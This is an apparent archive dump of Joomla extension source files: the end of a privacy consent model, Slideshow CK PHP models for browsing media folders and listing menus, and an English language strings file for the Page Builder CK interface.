	 * @param   array   $options  Configuration array for model. Optional.
	 *
	 * @return  JTable  A JTable object
	 *
	 * @since   3.9.0
	 * @throws  \Exception
	 */
	public function getTable($name = 'Consent', $prefix = 'PrivacyTable', $options = array())
	{
		return parent::getTable($name, $prefix, $options);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	protected function populateState()
	{
		// Get the application object.
		$params = JFactory::getApplication()->getParams('com_privacy');

		// Load the parameters.
		$this->setState('params', $params);
	}
}
com_slideshowck/models/browse.php000060400000005402152453734450013227 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

defined('_JEXEC') or die;

use Slideshowck\CKModel;

class SlideshowckModelBrowse extends CKModel {

	/*
	 * Get a list of folders and files 
	 */
	public function getItemsList($type = 'image') {
		$input = \Joomla\CMS\Factory::getApplication()->input;

		$type = $input->get('type', $type, 'string');

		switch ($type) {
			case 'video' :
				$filetypes = array('.mp4', '.ogv', '.webm');
				break;
			case 'audio' :
				$filetypes = array('.mp3', '.ogg');
				break;
			case 'image' :
			default :
				$filetypes = array('.jpg', '.jpeg', '.png', '.gif', '.tiff', '.webp');
				break;
		}

		$folder = $input->get('folder', 'images', 'string');
		$tree = new stdClass();

		// look for all folder and files
		$this->getSubfolder(JPATH_SITE . '/' . $folder, $tree, implode('|', $filetypes), 1);

		$tree = $this->prepareList($tree);

		return $tree;
	}

	/* 
	 * List the subfolders and files according to the filter
	 */
	private function getSubfolder($folder, &$tree, $filter, $level) {
		$folders = \Joomla\CMS\Filesystem\Folder::folders($folder, '.', $recurse = false, $fullpath = true);

		if (! count($folders)) return;

		foreach ($folders as $f) {
			// list all authorized files from the folder
			$files = \Joomla\CMS\Filesystem\Folder::files($f, $filter, $recurse = false, $fullpath = false);
			$fName = \Joomla\CMS\Filesystem\File::makeSafe($f);
			$tree->$fName = new stdClass();
			$name = explode('/', $f);
			$name = end($name);
			$tree->$fName->name = $name;
			$tree->$fName->path = $f;
			$tree->$fName->files = $files;
			$tree->$fName->level = $level;

			// recursive loop
			$this->getSubfolder($f, $tree, $filter, $level+1);
		}
		return;
	}

	/* 
	 * Set level diff and check for depth
	 */
	private function prepareList($items) {
		if (! $items) return $items;

		$lastitem = 0;
		foreach ($items as $i => $item)
		{
			$item->deeper     = false;
			$item->shallower  = false;
			$item->level_diff = 0;

			if (isset($items->$lastitem))
			{
				$items->$lastitem->deeper     = ($item->level > $items->$lastitem->level);
				$items->$lastitem->shallower  = ($item->level < $items->$lastitem->level);
				$items->$lastitem->level_diff = ($items->$lastitem->level - $item->level);
			}
			$lastitem = $i;

			$item->basepath = str_replace(JPATH_SITE, '', $item->path);
			$item->basepath = str_replace('\\', '/', $item->basepath);
			$item->basepath = trim($item->basepath, '/');
		}

		return $items;
	}

	public function getPagination($total = null, $start = null, $limit = null)
	{
		return false;
	}
}
com_slideshowck/models/index.html000060400000000032152453734450013204 0ustar00<html><body></body></html>com_slideshowck/models/menus.php000060400000002415152453734450013056 0ustar00<?php
/**
 * @name		Slideshow CK
 * @package		com_slideshowck
 * @copyright	Copyright (C) 2019. All rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 * @author		Cedric Keiflin - https://www.template-creator.com - https://www.joomlack.fr
 */

defined('_JEXEC') or die;

use \Slideshowck\CKModel;
use \Slideshowck\CKFof;

class SlideshowckModelMenus extends CKModel {

	public function getChildrenItems($menutype, $parentId) {
		\Joomla\CMS\MVC\Model\BaseDatabaseModel::addIncludePath(JPATH_SITE . '/administrator/components/com_menus/models', 'MenusModel');
		// Get an instance of the generic menus model
		$items = \Joomla\CMS\MVC\Model\BaseDatabaseModel::getInstance('Items', 'MenusModel', array('ignore_request' => true));
		if (! $parentId) $items->setState('filter.level', '1');
		$items->setState('filter.menutype', $menutype);
		$items->setState('filter.parent_id', $parentId);

		return $items->getItems();
	}

	public function getMenus() {
		$db = \Joomla\CMS\Factory::getDbo();
		$query = $db->getQuery(true)
					->select($db->qn(array('menutype', 'title')))
					->from($db->qn('#__menu_types'));
//					->where($db->qn('menutype') . ' = ' . $db->q($menuType));

		$menus = $db->setQuery($query)->loadObjectList();
		return $menus;
	}
}
com_slideshowck/language/en-GB/en-GB.com_slideshowck.ini000060400000067722152453734450017167 0ustar00; license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
; Note : All ini files need to be saved as UTF-8

COM_SLIDESHOWCK="Slideshow CK"
CK_EDIT="Edit"
CK_PUBLISHED="Published"
CK_NUM="NUM"
CK_APPLY="Apply"
CK_FONT_NONE="None"
CK_THUMB="Thumbnail"
CK_INSTALL="Install"

; textes du menu

CK_MISE_FORME="Formatting"
CK_TEXT="Text"
CK_BACKGROUND="Background"
CK_ADVANCED="Advanced"
CK_MARGINS="Outside margins (margin)"
CK_PADDINGS="Inside margins (padding)"
CK_BORDERS="Borders"
CK_TOP="Top"
CK_BOTTOM="Bottom"
CK_LEFT="Left"
CK_RIGHT="Right"
CK_TOPLEFT="top left"
CK_TOPRIGHT="top right"
CK_BOTTOMLEFT="bottom left"
CK_BOTTOMRIGHT="bottom right"
CK_ROUNDED_CORNERS="Rounded corners (border-radius)"
CK_DIMENSIONS="Dimensions"
CK_HEIGHT="Height"
CK_WIDTH="Width"
CK_POLICE="Font style"
CK_ALIGN="Align"
CK_SPACING="Spacing"
CK_WORD="word"
CK_LETTER="letter"
CK_LINEHEIGHT="line-height"
CK_NORMALLINK="Normal link"
CK_HOVERLINK="Hover link"
CK_BACKGROUNDIMAGE="Background image"
CK_SELECT="Select"
CK_NONE="None"
CK_HORIZONTAL="Horizontal"
CK_VERTICAL="Vertical"
CK_HORIZONTAL_VERTICAL="Horizontal and vertical"
CK_REPEAT="Repeat"
CK_BACKGROUNDCOLOR="Background color"
CK_BACKGROUNDPOSITION="Background position"
CK_BACKGROUNDGRADIENT="Gradient"
CK_GRADIENTPOSITION="position"
CK_GRADIENTCOLOR="color"
CK_STARTCOLOR="Start color"
CK_STOP1COLOR="Color 2"
CK_STOP2COLOR="Color 3"
CK_ENDCOLOR="Color 4"
CK_TOPTOBOTTOM="Top to bottom"
CK_BOTTOMTOTOP="Bottom to top"
CK_LEFTTORIGHT="Left to right"
CK_RIGHTTOLEFT="Right to left"
CK_DIRECTION="Direction"
CK_SHADOW="Shadow"
CK_BLUR="Blur"
CK_SPREAD="Spread"
CK_OFFSET="Offset"
CK_CUSTOMCSS="Custom CSS"
CK_BLOCK_STYLES="Block"
CK_MODULES_STYLES="Modules"
CK_MODULES_TITLES_STYLES="Module titles"
CK_MENUS_STYLES="Menu"
CK_TITLES="Titles"
CK_FIRST_LEVEL="LEVEL 1"
CK_FIRST_SUBLEVEL="SUBLEVEL"
CK_SECOND_SUBLEVEL="SUBLEVEL 2"
CK_FIRST_LEVEL_CONTAINER="container"
CK_FIRST_LEVEL_MENULINK="link normal"
CK_FIRST_LEVEL_MENULINK_HOVER="link hover"
CK_FIRST_LEVEL_MENULINK_ACTIVE="link active"
CK_FIRST_SUBLEVEL_CONTAINER="container"
CK_FIRST_SUBLEVEL_MENULINK="link normal"
CK_FIRST_SUBLEVEL_MENULINK_HOVER="link hover"
CK_FIRST_SBULEVEL_MENULINK_ACTIVE="link active"
CK_SECOND_SUBLEVEL_CONTAINER="container"
CK_H1="H1"
CK_H2="H2"
CK_H3="H3"
CK_H4="H4"
CK_H5="H5"
CK_H6="H6"
CK_COPYTOCLIPBOARD="Current styles copied in the clipboard !"
CK_COPYFROMCLIPBOARD="Apply the clipboard styles ? This will replace all current styles."
CK_CLIPBOARDEMPTY="The clipboard is empty"
CK_TEXTINDENT ="indentation"
CK_SUBMENU_FONTS ="Fonts"
CK_NEW ="New"
CK_ALL ="All"
CK_BORDERRADIUS ="Border radius"
CK_OPACITY ="% Opacity"
CK_COLOR="Color"
CK_SIZE="Size"
CK_UNIT="Unit"
CK_STYLE="Style"
CK_COPY ="Copy"
CK_PASTE ="Paste"
CK_CANCEL="Cancel"
CK_VALIDATE="Validate"
CK_COPYALLCSS="COPY CSS"
CK_DEFAULT="Default"
CK_NORMAL="Normal"
CK_BOLD="Bold"
CK_ITALIC="italic"
CK_UPPERCASE="uppercase"
CK_LOWERCASE="lowercase"
CK_UNDERLINE="underline"
CK_BACKGROUNDCOLORS="Colors"
CK_MAINCOLOR="Main color"
CK_BACKGROUND_SIZE="Size"

; interface
COM_PAGEBUILDERCK_SELECT_CONTENT="Select a type of content"
COM_PAGEBUILDERCK_CONTENT_TEXT="Text"
COM_PAGEBUILDERCK_CONTENT_TEXT_DESC="Text with a visual editor"
COM_PAGEBUILDERCK_CONTENT_IMAGE="Single Image"
COM_PAGEBUILDERCK_CONTENT_IMAGE_DESC="Single Image"
COM_PAGEBUILDERCK_CONTENT_GALLERY="Images gallery"
COM_PAGEBUILDERCK_CONTENT_GALLERY_DESC="A lightweight image gallery"
COM_PAGEBUILDERCK_CONTENT_SEPARATOR="Separator"
COM_PAGEBUILDERCK_CONTENT_SEPARATOR_DESC="Horizontal separator with text"
COM_PAGEBUILDERCK_CONTENT_MESSAGE="Message box"
COM_PAGEBUILDERCK_CONTENT_MESSAGE_DESC="A styled box for your message"
COM_PAGEBUILDERCK_CONTENT_TABS="Horizontal tabs"
COM_PAGEBUILDERCK_CONTENT_TABS_DESC="Tabs with custom content"
COM_PAGEBUILDERCK_CONTENT_ACCORDION="Accordion"
COM_PAGEBUILDERCK_CONTENT_ACCORDION_DESC="Custom text into an accordion"
COM_PAGEBUILDERCK_ASK_FOR_MORE_CONTENTS="Do you need more types of content ? Contact me and submit your idea on  a target="_blank" href="http://forum.joomlack.fr/index.php/page-builder-ck/9244-page-builder-ck-feedbacks-and-suggestions#26927">forum.joomlack.fr /a>"
COM_PAGEBUILDERCK_TITLE="Title"
COM_PAGEBUILDERCK_CONTENT="Content area"
COM_PAGEBUILDERCK_PARAMS="Params"
CK_DECORATION="Borders"
CK_CSS_EDIT="Edition area"
CK_OUTSIDE="Outside"
CK_INSIDE="Inside"
CK_CLEAN="Clear"
CK_PREVIEWAREA_TITLE="Direct preview"
CK_UPDATE_NOTIFICATION="Update"
CK_IS_OUTDATED="You don't have the latest version. The latest version is"
CK_IS_UPTODATE="You have the latest version."
COM_PAGEBUILDERCK_FIELD_SELECT_PAGE_LABEL="Page"
COM_PAGEBUILDERCK_FIELD_SELECT_PAGE_DESC="Select the page to display"
COM_PAGEBUILDERCK_PAGES_NAME="Pages"
CK_BLOC_INFOS="Block"
CK_BLOC_DESC="You can define here the styles of the block. A block is an HTML container that will load one or more content type (text, image, tabs , ...)."
CK_TEXT_EDITION="Text edition"
CK_TEXT_INFOS="Text"
CK_TEXT_INFOS_DESC="Write the text you want using the editor. You can use it to fill your page with your own content."
CK_IMAGE_EDITION="Single Image"
CK_IMAGE_INFOS="Image Selection"
CK_IMAGE_INFOS_DESC="Select an image to place in the block. You can select any image that is placed into the folder 'images' of your website."
CK_ACCORDION_EDITION="Accordion edition"
CK_ACCORDION_INFOS="Accordion content"
CK_ACCORDION_INFOS_DESC="Manage your accordion here. Set the text for the headings, and use the editor to write your own custom text to put in each accordion area. You can also drag and drop the element to sort them instantly."
CK_TABS_EDITION="Tabs edition"
CK_TABS_INFOS="Tabs content"
CK_TABS_INFOS_DESC="Manage your tabs here. Set the text for the tabs heading, and use the editor to write your own custom text to put in each tab area. You can also drag and drop the element to sort them instantly."
CK_SEPARATOR_EDITION="Separator edition"
CK_SEPARATOR_INFOS="Text separator"
CK_SEPARATOR_INFOS_DESC="Write the text you want to put into the separator."
CK_MESSAGE_EDITION="Message edition"
CK_MESSAGE_INFOS="Message"
CK_MESSAGE_INFOS_DESC="Write your own message and select the style that you want to apply to it."
CK_TABS_HEADING_STYLE="Heading style"
CK_TABS_ACTIVE_HEADING_STYLE="Active heading style"
CK_TABS_CONTENT_STYLE="Content style"
CK_CONFIRM_DELETE="Are you sure that you want to delete ?"
CK_ACCORDION_HEADING_STYLE="Heading style"
CK_ACCORDION_ACTIVE_HEADING_STYLE="Active heading style"
CK_ACCORDION_CONTENT_STYLE="Content style"
CK_SEPARATOR_CONTENT="Separator content"
CK_SEPARATOR_STYLE="Separator Style"
CK_ICON="Icon"
CK_ICON_SIZE="Icon size"
CK_ICON_POSITION="Icon position"
CK_FILTER_BY_GROUP="Filter by group"
CK_ICON_SIZE_X1-3="+33%"
CK_ICON_SIZE_X2="x 2"
CK_ICON_SIZE_X3="x 3"
CK_ICON_SIZE_X4="x 4"
CK_ICON_SIZE_X5="x 5"
CK_MIDDLE="Middle"
CK_ICON_MARGIN="Space between icon and text"
CK_SELECT_FONT="Select a font"
CK_FONTWEIGHT="Font weight"
CK_EMPTY_URL="Please write the font url or name in the field"
CK_GOOGLEFONT_URL="Google font url or name"
CK_SUBMIT="Validate"
CK_SEARCH="Search"
CK_FONT_APPLIED="Font applied"
CK_FONT_NOT_FOUND="Font not found, please check the url or name"
CK_FONTNAME_NOT_FOUND="Unable to retrieve the font name"
CK_FONTURL_NOT_FOUND="Font url not found, please check the url or name"
CK_GOOGLE_FONT="Google Font"
CK_STYLES="Styles"
CK_REMOVE="Remove"
CK_TITLE="Title"
CK_TITLE_STYLES="Title styles"
CK_TEXT_STYLES="Text styles"
CK_VARIATIONS="Variations"
CK_IMAGE="Image"
CK_ICON_EDITION="Icon edition"
CK_ICON_INFOS="Icon"
CK_ICON_INFOS_DESC="Select an icon from the available list and apply it any style like color, background, border radius."
CK_ICON_STYLES="Icon styles"
CK_ICON_STYLE="Icon styles"
CK_FONTSIZE="Font size"
COM_PAGEBUILDERCK_CONTENT_ICON="Icon"
COM_PAGEBUILDERCK_CONTENT_ICON_DESC="Select an icon from a collection"
COM_PAGEBUILDERCK_CONFIGURATION="Page Builder CK Configuration"
COM_PAGEBUILDERCK_ERROR_PAGE_NOT_FOUND="Page not found"
CK_SAVE_CLOSE="Save and Close"
CK_ID="ID"
CK_TYPE="Type"
CK_POSITION="Position"
COM_PAGEBUILDERCK_CONTENT_MODULE="Module"
COM_PAGEBUILDERCK_CONTENT_MODULE_DESC="Any module on your website"
CK_MODULE_NOT_SELECTED="No selected module"
CK_EDITION_NOT_FOUND="The edition area was not found for the element"
CK_MODULE_SELECTION="Module selection"
CK_MODULE_INFOS="Module"
CK_MODULE_INFOS_DESC="Choose a module from the list of all the available modules on your website. Then you can use the styles to give it the appearance you want."
CK_MODULE_STYLE="Module style"
CK_MODULE="Module"
CK_INSERT_NEW="Insert a new page"
CK_INSERT_NEW_DESC="Click on the button to add a new tag {pagebuilderck XX} into the article at the cursor position"
CK_NEW_TAG="New tag"
CK_EXISTING_TAGS_FOUND="Existing tags found"
CK_EXISTING_TAGS_FOUND_DESC="This is the list of the existing tags found in the editor. You can click on the edit button to open the Pagebuilder CK edition area into the popup for the selected page."
PLG_PAGEBUILDERCKBUTTON="Pagebuilder CK"
PLG_PAGEBUILDERCKBUTTON_DESC="Use this button to manage the Pagebuilder CK tags into your editor : - Insert a new tag from the list of published pages - Show the existing included pages and edit them directly in the popup"
CK_FULLSCREEN="Full screen"
CK_CSS_CLASS="CSS Class"
CK_TITLE_EDITION="Title edition"
CK_TITLE_CONTENT="Title text"
CK_TITLE_STYLES="Title styles"
CK_TEXT_STYLES="Text styles"
CK_ICONTEXT_INFOS="Icon and Text"
CK_ICONTEXT_INFOS_DESC="Select an icon from the available list and apply it any style like color, background, border radius. Write the text you want using the editor and style it like you want."
COM_PAGEBUILDERCK_CONTENT_ICONTEXT="Icon and Text"
COM_PAGEBUILDERCK_CONTENT_ICONTEXT_DESC="Icon and text in one single block"
CK_COVER="Cover"
CK_ALT_TAG="Alt attribute"
CK_LINK="Link"
CK_LINK_URL="Link url"
CK_REL_TAG="Rel attribute"
CK_LIGHTBOX="Lightbox"
CK_USE_LIGHTBOX="Enable Lightbox"
CK_LIGHTBOX_ALBUM="Group images into an album"
CK_MEDIABOXCK_NOT_INSTALLED="The plugin Mediabox CK is not installed, you can not use the following options"
CK_DOWNLOAD="Download"
CK_ANIMATIONS="Animations"
CK_ANIMATIONS_INFOS="Animations"
CK_ANIMATIONS_DESC="You can add any animation on the block. You can select multiple animation, or only one and set them the duration your want."
CK_DURATION="Duration"
CK_FADE="Fade"
CK_MOVE="Move"
CK_DIRECTION="Direction"
CK_LEFT_TO_RIGHT="Left to right"
CK_RIGHT_TO_RIGHT="Right to left"
CK_TOP_TO_BOTTOM="Top to bottom"
CK_BOTTOM_TO_TOP="Bottom to top"
CK_DISTANCE="Distance"
CK_ROTATE="Rotate"
CK_SCALE="Scale"
CK_REPLAY_ANIMATION="Replay the animation"

;added 1.0.2
CK_PREVIEW_ANIMATION="Preview the animation"
CK_PLAY_ANIMATION="Play the animation"
CK_TITLE_EMPTY="The title is empty"

;added 1.1.0
COM_PAGEBUILDERCK_INSERT_CONTENT="Drag and drop any item"
COM_PAGEBUILDERCK_COLLAPSE_MENU="Collapse the menu"

;added 1.1.1
COM_PAGEBUILDERCK_CONTENT_VIDEO="Video"
COM_PAGEBUILDERCK_CONTENT_VIDEO_DESC="Use Youtube or any other video provider"
CK_VIDEO_EDITION="Video edition"
CK_VIDEO_INFOS="Video"
CK_VIDEO_INFOS_DESC="You can use any video provider like Youtube. You must give the url that loads the embed player from the hosted service. Example : https://www.youtube.com/embed/codehere"
CK_VIDEO="Vidéo"
CK_INSERT_EXISTING_PAGE="Insert an existing page"
CK_INSERT_EXISTING_PAGE_DESC="Click here to insert an existing page at the cursor position"
CK_INSERT_PAGE_AND_CLOSE="Save, Insert Tag and Close"
CK_CREATE_NEW_PAGE="Create a new page"
CK_CREATE_NEW_PAGE_DESC="Click here to create a new empty page"
COM_PAGEBUILDERCK_N_ITEMS_DELETED="%d Item(s) successfully deleted"
CK_COPY_ERROR="Error when trying to copy"
CK_COPY_SUCCESS="Item successfully copied !"
CK_RESTORE="Restore a previous version"
CK_DO_RESTORATION="Restore this version"
COM_PAGEBUILDERCK_CONTENT_HTML="Custom code"
COM_PAGEBUILDERCK_CONTENT_HTML_DESC="Write any custom HTML/PHP/JS code"
CK_NO_RESTORE_FILE_FOUND="No backup found"

;added 1.1.2
CK_ZOOM="Zoom"
CK_CONTENT="Content"
CK_SHOWON="Show on"
CK_MOUSEOVER="Mouseover"
CK_CLICK="Click"
CK_ADDRESS="Address"
CK_LATITUDE="Latitude"
CK_LONGITUDE="Longitude"
CK_DELETE="Delete"
CK_IMPORT="Import"
CK_EXPORT="Export"
COM_PAGEBUILDERCK_VOTE_JED="If you are using Page Builder CK please post a review on the JED."
COM_PAGEBUILDERCK_VOTE_JED_BUTTON="I vote on the JED to support Page Builder CK"

;added 1.1.3
COM_PAGEBUILDERCK_PAGES="Pages"
CK_VIDEO_BACKGROUND_STYLES="Background video"
CK_VIDEO_BACKGROUND="Background video"
CK_VIDEO_BACKGROUND_INFOS="Background video"
CK_VIDEO_BACKGROUND_DESC="Define a video that will play in the background of the block."
CK_VIDEO_URL_INFOS="Give the relative path to your file. It is recommended to give the three types of file to be compatible with most devices and browsers. Example of path : images/video/bigbunny.mp4"
CK_VIDEO_URL_MP4="MP4 format video path"
CK_VIDEO_URL_WEBM="WEBM format video path"
CK_VIDEO_URL_OGV="OGV format video path"
CK_PREVIEW="Preview"
CK_ABOUT="About"
CK_PAGEBUILDERCK_VERSION="Page Builder CK Version"
CK_PAGEBUILDERCK_DESC="Page Builder CK allows you to create your website content in a quick and easy way."

;added 1.1.4
CK_CHOOSE_FILE_PBCK="Choose a .pbck file"
CK_PAGEBUILDERCK_PARAMS_NOT_INSTALLED="Page Builder CK Params not installed."
CK_NOT_PBCK_FILE="Please select a .pbck file"
CK_FILE_NOT_EXISTS="File does not exists, unable to find it"
CK_UNABLE_READ_FILE="Unable to read the file"
CK_IMPORT_SUCCESS="File imported with success"
COM_PAGEBUILDERCK_N_ITEMS_TRASHED="%d Item(s) successfully deleted"
CK_SET_DEFAULT_CLOSED="Closed by default"
CK_PAGEBUILDERCK_PARAMS_INFO="Page Builder CK Params not installed. Get it to have more items and more features."
CK_ADD_NEW_ITEM="Add new item"
CK_PLEASE_SELECT_ITEM="Please select an item"
CK_START="Start"
CK_END="End"
CK_APPEARANCE="Appearance"
CK_NUMBER="Number"

;added 1.1.5
CK_NO_FILE_RECEIVED="Unable to get the file, please check the settings of your server and the size of your image"
CK_FILE_NOT_EXISTS="Unable to find the uploaded file. Please try again"
CK_UNABLE_TO_CREATE_FOLDER="Unable to create the folder"
CK_UNABLE_WRITE_FILE="Unable to write the file on your server"
CK_ONCLICK="On click"
CK_STYLES_HOVER="Styles on hover"

;added 1.1.8
CK_PAGEBUILDERCK_PARAMS_CLASS_NOT_FOUND="Page Builder CK Params, Class not found"
CK_PAGEBUILDERCK_PARAMS_NEEDED_VERSION="Warning you must update your Page Builder CK Params version. The minimum version needed is"

;added 1.1.11
COM_PAGEBUILDERCK_CONTENT_AUDIO="Audio player"
COM_PAGEBUILDERCK_CONTENT_AUDIO_DESC="Play your audio files"
CK_AUDIO_EDITION="Audio player Edition"
CK_AUDIO_INFOS="Audio player"
CK_AUDIO_INFOS_DESC="Add an audio player to your website. Select the file to play, and customize it using the options"
CK_AUDIO="Audio"
CK_AUDIO_FILE="Audio file"
CK_OPTIONS="Options"
CK_AUTOPLAY="Autoplay"
CK_SELECT_INFOS="Click on the file to select it"
CK_PREVIEW_INFOS="Hover the image files on the left to see the preview here"

;added 1.1.12
CK_EDITION="Edition"
COM_PAGEBUILDERCK_SHOW_TITLE="Show title"

;added 1.1.13
COM_PAGEBUILDERCK_CONTENT_PREPARE="Activate content plugins"
COM_PAGEBUILDERCK_TITLE_TAG="Title tag"
CK_LOAD_PAGE="Load a page"
CK_HOW_TO_LOAD_PAGE="How to load the page ?"
CK_REPLACE="Replace"
CK_TOP_PAGE="On top"
CK_END_PAGE="On bottom"
CK_TARGET="Target"
CK_REMOVE_BLOCK="Remove the block"
CK_MOVE_BLOCK="Move the block"
CK_EDIT_STYLES="Edit the styles"
CK_DECREASE_WIDTH="Decrease the block width"
CK_INCREASE_WIDTH="Increase the block width"
CK_ADD_BLOCK="Add a block"
CK_REMOVE_ROW="Remove the row"
CK_EDIT_COLUMNS="Edit the columns"
CK_MOVE_ROW="Move the row"
CK_ADD_NEW_ROW="Add a new row"
CK_REMOVE_ITEM="Remove the item"
CK_MOVE_ITEM="Move the item"
CK_DUPLICATE_ITEM="Duplicate the item"
CK_EDIT_ITEM="Edit the item"
CK_ADD_COLUMN="Add a column"
CK_AUTOPLAY="Autoplay"
CK_PAUSE_HOVER="Pause on hover"
CK_DURATION="Duration"

;added 1.2.0
CK_LOAD_PAGEBUILDERCK_EDITOR="Switch to Page Builder CK"
CK_CONFIRM_PAGEBUILDERCK_EDITOR="Are you sure ? This will replace your existing editor and you will create your page only with Page Builder CK."

;added 1.2.1
CK_FAVORITES="Favorites"
CK_DESIGN_SUGGESTIONS="Design Suggestions"
CK_MYFAVORITES="My favorites"
CK_STICK="Stick"
CK_CLOSE="Close"
CK_BLOCK="Block"
CK_ADD_TO_FAVORITES="Add to favorites"
CK_ERROR_USER_NO_AUTH="Error : User has no right to do this action"
CK_ERROR_CREATING_FAVORITEFILE="Error during the favorite creation"
CK_ERROR_DELETING_FAVORITEFILE="Error trying to delete the favorite"
CK_DUPLICATE_ROW="Duplicate the row"

;added 1.2.3
CK_SELECT_MODULE_FIRST="Please select a module first"
CK_MORE_MENU_ELEMENTS="More menu elements"
CK_FULLWIDTH="Full width"

;added 1.3.0
CK_LOAD_MODEL="Load a  model"
CK_OVERLAY_STYLES="Overlay styles"
CK_OVERLAY_INFOS="Background Overlay"
CK_OVERLAY_DESC="Set an overlay between the block background and the content. This will allows you to give a depth effect to your elements."
CK_TOGGLE_EDITOR="Toggle editor"

COM_PAGEBUILDERCK_CONTENT_READMORE="Read more"
COM_PAGEBUILDERCK_CONTENT_READMORE_DESC="Add a read more"

;added 1.3.5
CK_DUPLICATE_COLUMN="Duplicate column"

;added 1.3.9
COM_PAGEBUILDERCK_ARTICLES="Articles"
COM_PAGEBUILDERCK_MODULES="Modules"
CK_PREVIEW_FRONT="Preview in Front"
CK_SAVE_AS_PAGE="Save as page"
CK_RESPONSIVE_SETTINGS="Responsive settings"
CK_BROWSE_INFOS="Click on a folder to see the images and upload your own image in it. Click on an image to select it."

;added 1.4.4
CK_CHECK_HTML="Check HTML"
CK_CHECK_HTML_DESC="Check that there is no HTML issue like duplicated IDs"
CK_ENTER_CLASSNAMES="Please enter the class names separated by a space"
CHECK_IDS_ALERT_PROBLEM="Some blocks have the same ID. This is a problem that must be fixed. Look at the elements in red and rename them"
CHECK_IDS_ALERT_OK="Validation finished with success, all is OK !"
CK_ENTER_UNIQUE_ID="Please enter a unique ID (must be a text)"
CK_INVALID_ID="ID invalid or already exist"
CK_ENTER_VALID_ID="Please enter a valid ID"

;added 1.5.2
CK_IMAGE_EFFECT="Image Effect"
CK_IMAGEEFFECTCK_NOT_INSTALLED="The plugin Image Effect CK is not installed. You can not use this feature"
CK_IMAGEEFFECTCK_BUTTON_NOT_INSTALLED="The plugin Image Effect CK Params is not installed. You can not use this feature"

;added 1.5.6
CK_UNDO="Undo"
CK_REDO="Redo"
CK_ELEMENTS="Elements"
CK_HTML_CSS="HTML / CSS"

;added 1.2.0
CK_FOLDERS="Folders"
CK_ELEMENTS="Elements"
CK_GUTTER="Space between columns"
COM_PAGEBUILDERCK_CONTENT_ROW="Row"
COM_PAGEBUILDERCK_CONTENT_ROW_DESC="Row container with columns"
CK_PHONE = "Phone"
CK_TABLET = "Tablet"
CK_PORTRAIT = "Portrait"
CK_LANDSCAPE = "Landscape"
CK_RESPONSIVE_VALUE_DESC="Set a resolution value for the device, in px"
CK_COLUMNS="Columns"
CK_SUGGESTIONS="Suggestions"
CK_RESPONSIVE_SETTINGS_ALIGNED="Aligned"
CK_RESPONSIVE_SETTINGS_STACKED="Stacked"
CK_RESPONSIVE_SETTINGS_HIDDEN="Hidden"
CK_RESPONSIVE_SETTINGS_SHOWN="Shown"
CK_COMPUTER="Computer"
CK_ROW="Row"
CK_SET_RESPONSIVE_VALUE_IN_OPTIONS="Set the responsive values in the component options"
CK_EDIT_FULLSCREEN="Edit in Fullscreen mode"
CK_DELAY="Delay"
CK_MENU_ITEMS="Menu items"
CK_MENU_ITEMS_DESC="You can navigate through the menus with the +/- icons. Once you have found your menu item, just click on its name to select it and its url will be automatically used."
CK_AUTO_WIDTH="Auto width"
CK_ADVANCED_LAYOUT="Advanced layout"
CK_RATIO="Ratio"

;added 2.0.5
CK_REFRESH="Refresh"

;added 2.2.0
COM_PAGEBUILDERCK_MY_ELEMENTS="My Elements"
CK_MY_ELEMENTS="My Elements"
COM_PAGEBUILDERCK_DESCRIPTION="Description"
COM_PAGEBUILDERCK_TYPE="Type"
CK_ORDERING="Ordering"
CK_SAVE="Save"

;added 2.2.7
CK_DIVIDER="Shape divider"
CK_SHAPE="Shape"
CK_FLIP_HORIZONTAL="Flip horizontal"
CK_FLIP_VERTICAL="Flip vertical"
CK_INVERSE="Inverse"
CK_PLACEMENT="Placement"
CK_FIRST_COLOR="First color"
CK_SECOND_COLOR="Second color"
CK_UNDER_CONTENT="Under content"
CK_OVER_CONTENT="Over content"
CK_CLOUDS="Clouds"
CK_MULIPLE_CLOUDS="Multiple clouds"
CK_PAPER="Paper"
CK_BRIDGE="Bridge"
CK_MOUNTAIN="Mountain"
CK_WAVE="Wave"
CK_MULTIPLE_WAVE="Multiple waves"
CK_SLOPE="Slope"
CK_MULIPLE_SLOPE="Multiple slopes"
CK_DRIP="Drip"
CK_ASYM_SLOPE="Asymetric slope"
CK_VSLOPE="V slope"
CK_MULTIVSLOPE="Multiple V slopes"
CK_MULTIV3SLOPE="Multiple V 3 slopes"
CK_TRIANGLE="Triangle"
CK_TRIANGLE_SMALL="Triangle small"
CK_TRIANGLE_3="3 Triangles"
CK_ELLIPSE="Ellipse"

;added 2.2.8
CK_ALWAYS="Always"

;added 2.3.0
CK_ADDONS="Addons"
CK_PAGES="Pages"
CK_MODELS="Models"

;added 2.3.1
CK_WARNING_USERGROUP_FILTERTYPE_BLACKLIST="Your usergroup has a text filtering set on the Default Blacklist. This will cause your article to be totally broken after save. Please contact your administrator to fix this."
CK_WARNING_USERGROUP_FILTERTYPE_WHITELIST_NOSTYLE="Your usergroup has a text filtering set on the Whitelist but the 'style' tag is missing from the authorized tags. This will cause your article to be totally broken after save. Please contact your administrator to fix this."

;added 2.3.4
CK_CUSTOMCSS_DESC="You can write your own CSS rules that will be added in the page. Note that the CSS will not be rendered into the edition but only in the frontend page."
CK_RESPONSIVE_RANGE_LABEL="Type of range"
CK_RESPONSIVE_RANGE_DESC="Between : will use min-width and max-width. Reducing : will only use max-width so that the settings will apply on all lower resolutions"
CK_RESPONSIVE_BETWEEN="Between"
CK_RESPONSIVE_REDUCING="Reducing"

;added 2.3.6
COM_PAGEBUILDERCK_CONTENT_WRAPPER="Wrapper"
COM_PAGEBUILDERCK_CONTENT_WRAPPER_DESC="Container to put rows in it"
CK_WRAPPER_IN_WRAPPER_NOT_ALLOWED="You are not allowed to put a wrapper into another wrapper"
CK_DUPLICATE_WRAPPER="Duplicate the wrapper"
CK_MOVE_WRAPPER="Move the wrapper"
CK_REMOVE_WRAPPER="Remove the wrapper"
;CK_CHOOSE_METHOD="Choose how to set up the width : full width or fixed width."
CK_FIXEDWIDTH="Fixed width"
CK_READ_DOCUMENTATION="Read the documentation"
